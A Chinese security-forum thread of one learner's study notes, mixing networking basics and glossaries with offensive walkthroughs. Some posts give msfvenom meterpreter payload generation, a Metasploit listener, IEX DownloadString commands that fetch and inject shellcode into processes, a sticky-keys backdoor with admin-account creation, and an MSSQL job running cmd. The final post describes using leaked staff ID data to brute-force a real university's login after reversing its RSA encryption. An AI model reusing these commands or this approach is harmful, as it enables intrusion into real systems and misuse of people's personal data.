安全矩阵

 找回密码
 立即注册
搜索
查看: 272|回复: 11

刘晨宁学习笔记

[复制链接]

3

主题

15

帖子

76

积分

注册会员

Rank: 2

积分
76
发表于 2021-2-28 21:11:59 | 显示全部楼层 |阅读模式
本帖最后由 1337163122 于 2021-2-28 22:33 编辑

一、     TCP/IP网络模型
1.     网络协议是什么
计算机与网络上其他设备进行通讯时必须依照某种特定的规则进行,比如由哪方先发起通信、通讯使用的语言是什么、怎样结束通讯等等,这一切的实现都需要按照某种规则来进行,而这种规则就是协议。
(1). 网络模型
  
TCP/IP四层模型
  
  
功能
  
  
OIS七层模型
  
  
功能
  
  
应用层
  
  
负责向用户提供应用程序
  
  
应用层
  
  
文件传输、电子邮件、文件服务、虚拟终端
  
  
表示层
  
  
数据格式化、代码转换、数据加密
  
  
会话层
  
  
接触或建立于别的接点的联系
  
  
传输层
  
  
对报文进行分组和重组,以TCP或UDP协议格式封装报文
  
  
传输层
  
  
提供端对端的接口
  
  
网络层
  
  
负责路由以及把报文发给目标网路或主机
  
  
网络层
  
  
为数据包选择路由
  
  
链路层
  
  
负责封装和解封装IP报文,发送和接受ARP/RARP报文等
  
  
数据链路层
  
  
将IP数据包封装成帧,并检验错误
  
  
物理层
  
  
以二进制数据形式在屋里媒体上传输数据
  

2.     TCP
当两台计算机要保证正确收发数据,需要畅通且可靠的通信。比如发送完整文件,而不是文件的一部分,因为如果数据丢失或乱序,都不是我们想要的结果,于是用到了TCP。
TCP是面向连接的、可靠的流协议(流是指不间断的数据结构,可以看成排水管中的水流)。
(1). 三次握手

3.     UDP
UDP是无连接的,发数据前不需要像TCP一样进行三次握手,而是想发就发,所以具有不可靠的特点,不管对方是否接收到发送的数据(反正俺发了,看不看得到就看你的人品了)。
优点也很明显,不管网络条件的好坏,UDP不受影响,还可以以恒定的速度进行发送,所以可以用于实时性高的场合,比如说视频会议、电话会议等等。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

3

主题

15

帖子

76

积分

注册会员

Rank: 2

积分
76
 楼主| 发表于 2021-2-28 22:55:31 | 显示全部楼层
本帖最后由 1337163122 于 2021-2-28 22:58 编辑

powershell基础操作:
cd D: 切换路径
get-childitem:获取路径下所有文件
get-host:获取powershell基本信息
start-process python:打开python进程get-process:获取全部进程
get-process p*e:获取p开头e结尾的进程
new-item a.ps1、new-item a.ps1 -type file:在当前目录下创建a.ps1文件(同时创建多个文件时,把a.ps1去掉即可)
new-item a -type direction:在当前目录下创建a文件夹(同时创建多个目录时,把a去掉即可)
'get-host' > a.ps1:将a.ps1内容设置为get-host
add-content a.ps1 -value 'get-host':在a.ps1文件内容后添加get-host
get-content a.ps1:查看a.ps1内容
powershell -file a.ps1:运行a.ps1文件
powershell -noninteractive -file a.ps1 :无交互运行a.ps1文件
powershell -windowstyle hidden -file a.ps1 :powershell窗口隐藏运行a.ps1文件
powershell -executionpolicy bypass -file a.ps1:本地绕过策略
powershell -executionpolicy bypass iex(new-object net.webclient).downloadstring('D:\a.ps1'):远程绕过策略
clear-content a.ps1:清空a.ps1文件内容
remove-item a.ps1:删除a.ps1文件





回复

使用道具 举报

3

主题

15

帖子

76

积分

注册会员

Rank: 2

积分
76
 楼主| 发表于 2021-3-1 22:27:20 | 显示全部楼层
名词(一)
1.       weblogic:基于JAVAEE架构的中间件
2.       JAVAEE:JAVA平台企业版,用于开发大规模、健壮的网络应用
3.       JAVAWEB:开发前后端交互的轻量级WEB服务,可以看成JAVAEE的一部分
4.       T3协议:weblogic和其他Java程序之间传输信息的协议
5.       套接字=IP地址+TCP/UDP+端口号
6.       BEA:一个软件公司
7.       重定向与转发的区别:重定向是客户端将跳转网址发送给客户端,由客户端重新发送请求;转发是服务端内部请求跳转网址,将最后结果返回给客户端
8.       IPC:进程间通讯,提供各种进程之间通讯的方法
9.       半相关:同套接字
10.    全相关:本地IP地址+本地端口号+ TCP/UDP+对方IP地址+对方端口号
11.    内网ip划分:A段(10.0.0.0-10.255.255.255)、B段(172.16.0.0-172.31.255.255)、C段(192.168.0.0-192.168.255.255)
12.    SVN:一种开源的版本控制系统
13.    variable:变量
14.    plugin:插件
15.    route:路由
16.    seesion机制:通过检查游乐场的游客表,来确定游客身份
17.    cookie机制:通过检查游客的门票,来确定游客身份
18.    token:游乐场发给游客的门票
19.    spool:命令,将sqlplus输出结果保存到一个指定文件中
20.    sqlplus:与Oracle数据库进行交互的客户端工具,可以查看、修改数据库记录
21.    manipulate:操作
22.    ruby:一种面向对象脚本语言

回复

使用道具 举报

3

主题

15

帖子

76

积分

注册会员

Rank: 2

积分
76
 楼主| 发表于 2021-3-1 23:54:52 | 显示全部楼层
本帖最后由 1337163122 于 2021-3-2 11:16 编辑

PowerSploit(一)—— Invoke-Shellcode、Invoke-DllInjection
  • kali安装PowerSploit
    1. #1.下载PowerSploit,下载存放位置为home/ning
    2. git clone https://gitee.com/mirrors/PowerSploit.git

    3. #2.home/ning文件夹打开终端,修改PowerSploit文件夹权限
    4. chmod 777 PowerSploit

    5. #3.将PowerSploit文件夹移动到var/www/html目录下
    6. mv PowerSploit /var/www/html/

    7. #4.打开Apache服务
    8. service apache2 start

    9. #5.访问网址:本机ip/PowerSploit

    10. #6.win10执行Invoke-Shellcode、Invoke-DiiInjection会报出错吴,修改方法为打开PowerSploit/CodeExecution/Invoke-Shellcode.ps1文件,并将$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')替换为$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress',
    11. [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))

    12. #7.win10运行木马时,会出现PowerShell中断问题,未解决
    复制代码

  • msf设置监听
    1. #1.使用载荷exploit/multi/handler
    2. use exploit/multi/handler

    3. #2.查看载荷信息
    4. show options

    5. #3.设置各参数值
    6. set lhost 192.168.146.128
    7. set lport 1234

    8. #4.运行监听
    9. run
    复制代码

  • 使用msfvenom命令生成木马
    1. #生成PowerShell木马
    2. msfvenom -p windows/meterpreter/reverse_https lhost=192.168.146.128 lport=1234 -f powershell -o /var/www/html/test

    3. #生成64位PowerShell木马
    4. msfvenom -a x64  -p windows/x64/meterpreter/reverse_https lhost=192.168.146.128 lport=1234 -f powershell -o /var/www/html/test

    5. #生成DLL注入脚本
    6. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.146.128 lport=1234 -f dll -o /var/www/html/a.dll

    7. #生成64位DLL注入脚本
    8. msfvenom -a x64  -p windows/x64/meterpreter/reverse_tcp lhost=192.168.146.128 lport=1234 -f dll -o /var/www/html/a.dll
    复制代码

  • 反弹Meterpreter Shell
    1. 1.执行Shellcode反弹
    2.     #下载Invoke-Shellcode
    3.     IEX(New-Object Net.WebClient).DownLoadString("http://192.168.147.1:999/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")

    4.     #下载木马
    5.     IEX(New-Object Net.WebClient).DownLoadString("http://192.168.147.1:999/test")

    6.     #运行木马
    7.     Invoke-Shellcode -Shellcode $buf

    8.     #如果msf监听到内容,则表示反弹成功

    9. 2.进程注入Shellcode反弹
    10.      #下载Invoke-Shellcode
    11.     IEX(New-Object Net.WebClient).DownLoadString("http://192.168.147.1:999/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")

    12.     #下载木马
    13.     IEX(New-Object Net.WebClient).DownLoadString("http://192.168.147.1:999/test")

    14.     #查看运行进程或创建新的进程
    15.     Get-Process #查看进程
    16.     Start-Process python #创建进程

    17.     #进程注入
    18.     Invoke-Shellcode  -ProcessID 788 -Shellcode $buf

    19.     #如果msf监听到内容,则表示反弹成功

    20. 3.dll注入DllInjection反弹
    21.     #下载Invoke-DllInjection
    22.     IEX(New-Object Net.WebClient).DownLoadString("http://192.168.147.1:999/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")

    23.     #上传a.dll文件到目标服务器

    24.     #查看运行进程或创建新的进程
    25.     Get-Process #查看进程
    26.     Start-Process python #创建进程

    27.     #进程注入
    28.     Invoke-DllInjection -ProcessID 788 -Dll "a.dll位置"

    29.     #如果msf监听到内容,则表示反弹成功
    复制代码


回复

使用道具 举报

3

主题

15

帖子

76

积分

注册会员

Rank: 2

积分
76
 楼主| 发表于 2021-3-2 23:05:53 | 显示全部楼层
名词(二)
1.       CRM:客户关系管理系统
2.       解读sql server语句:
  1. use msdb;          --进入msdb数据库,msdb数据库是sqlsever的系统数据库,提供sqlsever代理服务和作业以及记录操作员

  2. exec sp_delete_job NULL,'x';     --删除名称为x的作业

  3. exec sp_add_job 'x';        --创建一个名称为x的作业

  4. exec sp_add_jobstep NULL,'x',NULL,1,'CMDEXEC','cmd/c  whoami > C:\Windows\Temp\a.txt';           --在作业x中添加一个操作,名称为,类型为(操作系统CMDEXEC),命令为cmd/c  whoami > C:\Windows\Temp\a.txt

  5. exec sp_add_jobserver NULL,'x',@@servername;     --为当前服务器指定作业x

  6. exec sp_start_job 'x';      --运行作业x
复制代码
3.       master:SQLSever中最重要的系统数据库,记录了所有的系统信息
4.       解读sql server语句:
  1. create table [class](resulttxt nvarchar(1024) NULL);       --创建一个class表,并包含一个nvarchar(1024)类型的字段

  2. bulk insert [class] from 'C:\Windows\Temp\a.txt' with (keepnulls);     --将C:\Windows\Temp\a.txt中的数据批处理插入class中,且插入时空值做空插入

  3. alter table [class] add id int not null identity(1,1);     --给class插入id字段(从开始按自增)
复制代码

5.       WebDAV:可以看成一个各种 App 都能够连接的一种存储服务,可以让App 直接访问我们的云盘
6.       Redis:一种键-值数据库
7.       Shiro:一种Java框架
8.       mongodb:一个基于分布式文件存储数据库
9.       IDC:互联网数据中心
10.    Struts2:一个基于MVC设计模式的Web应用架构
11.    cacti:网络流量监测图形分析工具
12.    Weathermap:cacti的一个插件,用来制作网络拓扑图

回复

使用道具 举报

3

主题

15

帖子

76

积分

注册会员

Rank: 2

积分
76
 楼主| 发表于 2021-3-4 22:53:51 | 显示全部楼层
名词(三)
1.       SerialKiller:Java反序列化前瞻性库,用于保护应用程序免受不受信任的输入的侵害,SerialKiller在命名解析期间检查Java类,并允许将黑名单/白名单组合使用来保护您的应用程序。
2.       shift后门:
  1. A、原理:
  2. windows具备的特性:连续按五次Shift键系统会执行C:\Windows\System32\sethc.exe文件,也就是启用了粘滞键
  3. 当我们没有登录用户时,启用粘滞键,会以管理员权限运行
  4. 如果我们C:\Windows\System32\sethc.exe文件替换C:\Windows\System32\cmd.exe文件或者其他exe文件时,在没登陆的情况下,我们也能对系统进行控制,比如添加管理员用户和密码之类的,然后就能进行登录

  5. B、过程:
  6. win10替换C:\Windows\System32\sethc.exe需要trustedinstaller权限,所以我们要先找到sethc.exe,然后属性-->安全-->编辑-->添加-->高级-->立即查找-->在搜索结果中找到当前用户,选择并点击确定-->勾选权限-->应用-->确定-->选择是
  7. 然后打开cmd,输入copy C:\Windows\System32\cmd.exe sethc.exe回车,输入yes回车即可

  8. C、添加管理员账户:
  9. 使用粘滞键启动cmd,输入命令行:
  10. net user gkk test /add # 添加账号为gkk密码为test的用户
  11. net localgroup administrators gkk /add #将普通用户gkk设置为管理员用户

  12. D、防御:
  13. 禁用粘滞键功能或设置使用权限
复制代码
3.       demo:示例代码,或完整的代码项目
4.       iwebshop:开源建站系统
5.       GCP:GoogleCloud Platform提供的一套云计算服务,谷歌云
6.       SOAP:基于XML的简易协议,用于应用程序在html上的信息交换
7.       WebSphere:中间件
8.       LCX:端口转发工具

回复

使用道具 举报

3

主题

15

帖子

76

积分

注册会员

Rank: 2

积分
76
 楼主| 发表于 2021-3-5 11:08:03 | 显示全部楼层
名词(四)
1.       UCML:面向web的应用框架开发平台
2.       FTP:文件传输协议,FTP协议由FTP服务器(存储文件)和FTP客户端(可通过FTP协议访问FTP服务器上存储的文件)组成
3.       XAMPP:建站集成软件包,只需下载、解压即可运行
4.       IM:实时通讯系统
5.       Skype:一个实时通讯软件,具备IM所需功能
6.       TLS:传输层安全协议,用于两个通讯的应用程序之间数据的传输、提供保密性和数据的完整性
7.       应用程序和应用软件的区别:应用程序指单一的可执行文件或程序,比如:word,excel,而应用软件指单一程序或其他从属组件的集合,比如office。两者一般不做区分
8.       Xshell:一个远程连接linux的工具
9.       ICMP:Internat控制报文协议,网络层协议,用于确认IP包是否到达目标地址和反馈IP包缺失原因
10.    Apple首部:也就是http协议头部
11.    MTU:最大传输单元,说明发送方能够接受的有效载荷的大小
12.    以太网首部=6个字节的目的地址+6字节源地址+2字节下层协议(IP协议)类型=14字节
13.    以太网尾部:4字节的帧校验
14.    缺省=默认

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

3

主题

15

帖子

76

积分

注册会员

Rank: 2

积分
76
 楼主| 发表于 2021-3-6 23:15:18 | 显示全部楼层
本帖最后由 1337163122 于 2021-3-6 23:31 编辑

内网穿透:
通过内网穿透,使用户可以在公网访问内网IP
工具:一个可以访问内网的Computer + Sunny-Ngrok
1.注册Sunny-Ngrok账户:

    A.进入https://ngrok.cc/login登录页,如果嫩有账户登进去就行,没有的话注册一个也可以

    B.登进去之后嘞,按照图示操作即可
   

   

    C.然后再点下确认开通第一步就搞好了


2.hit  through 隧道


    A.话不多say,look down 图:
   

    B.客户端下载好,然后解压(下图是俺解压的地):

   

    C.win+R打开运行,输入cmd,再cd 解压位置,进入解压文件夹

  1. ngrok启动方式
  2. sunny clientid 隧道id  #隧道id的话就打开你的小本本,看哈记得啥,弄进去;frp也是

  3. frp启动方式
  4. sunny --clientid=隧道id
复制代码

    运行成工后就是下面的样子
   

   D.到这就弄好了,快从外网访问上面标出来的域名进内网吧!!!



回复

使用道具 举报

3

主题

15

帖子

76

积分

注册会员

Rank: 2

积分
76
 楼主| 发表于 2021-3-8 00:10:46 | 显示全部楼层
本周未解决的问题:
1、py文件引用位于同一文件夹的其他几个py文件,前两个可以import到,但后面几个报未找到错误,但是文件夹内这几个文件确实存在
2、shellcodel直接映射时,powershell进程会直接中断
3、用docker启动ewomail邮箱服务,映射端口自动关闭,外网拒绝访问,还没找到哪里出错
4、mimikatz查看Windows账户密码,无sha1内容项,可能是软件版本问题?

回复

使用道具 举报

3

主题

15

帖子

76

积分

注册会员

Rank: 2

积分
76
 楼主| 发表于 2021-3-8 22:59:24 | 显示全部楼层
本帖最后由 1337163122 于 2021-3-10 22:33 编辑

对某大学教务处密码RSA加解密流程的分析:
起因:由于俺人品好获得了一份教职工的基本信息(电话号码+身份证号码+...),有这个东西不跑一下就有点暴殄天物了(把密码是身份证号后六位),说干就干!

1、随便输入个账户密码(admin、123456),抓包刺探下敌情

因为搞了个加密,这里不能直接用明文去跑了,只能先把明文的密码经过和网站同样的加密方法生成相应的密文,然后使用明文账户+密文密码进行爆破
2、把网站的源码保存到本地的一个html文件中,便于分析加密过程


虽然略微有些难看,但是也有中独特的凌乱美,还阔以。
找到登录按钮触发的js代码,打上断点进行调试,但在调试的过程中发现了一个现象:使用同一个明文加密生成的密文不,所以我猜测在加密过程中使用了随机数,造成了这种现象
回顾一下RSA加密过程吧:
一般情况下:

加密:密文=(明文^e) mod(n);

解密:明文=(密文^d) mod(n);

公钥为:e、n;私钥为:d、n;

这种情况下同一明文产生的密文是相同的
二般情况下:

加密:密文=((明文 + 随机数)^e) mod(n);

解密:明文=(密文^d) mod(n) - 随机数;
这种情况下由于随机数不同,同一明文产生的密文是不同的,猜测网站应该用的这种




但是如果使用了随机数,那前端发向后端的数据包内应该存在:账户 + 加密后的密码 + 生成密码过程中使用的随机数,只有这三项存在时,后端才能对密文进行解密,然后验证用户和密码是否匹配,但是现在还没读懂JS生成随机数的代码段,没找到数据包中哪个数据项对应的是随机数,明天继续!




-----------------------------------------------------


经过对JS的调试,发现了应该是采用了时间作为了随机变量,不过对比数据包里参数t的值,但是总不一样,所以感觉之前的想法(随机数要传到后端)应该是错的,到网上又重新看了下RSA的加解密过程,说填充方式会使同一明文加密成不同的密文。。。。。
为了验证下,我使用了正确的账户和密码分别抓了两次数据包(记为A、B),在数据包B提交时把数据包A内密码加密后密文取出来,替换B包内的密文,然后提交数据包,然后就登录成功(之前的信誓旦旦的老脸无处安放。。。。)


既然如此,使用RSA加密过程使用的JS代码对老师工号进行加密,下图是我修改的JS代码


将b字符串数据复制到Sublime Text里,对其进行字符替换(替换字符时,回车通过ctrl+shift+Enter组合键打出),保存到txt文件里即可
但经过漫长的爆破,啥都没得到。。。。。。(看来平时积攒的人品还不足)

总结:虽然没得到账户,但是过了一遍前端代码,加深了js、RSA的理解,非常nice(自我安慰)



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2021-4-15 21:38 , Processed in 0.023962 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表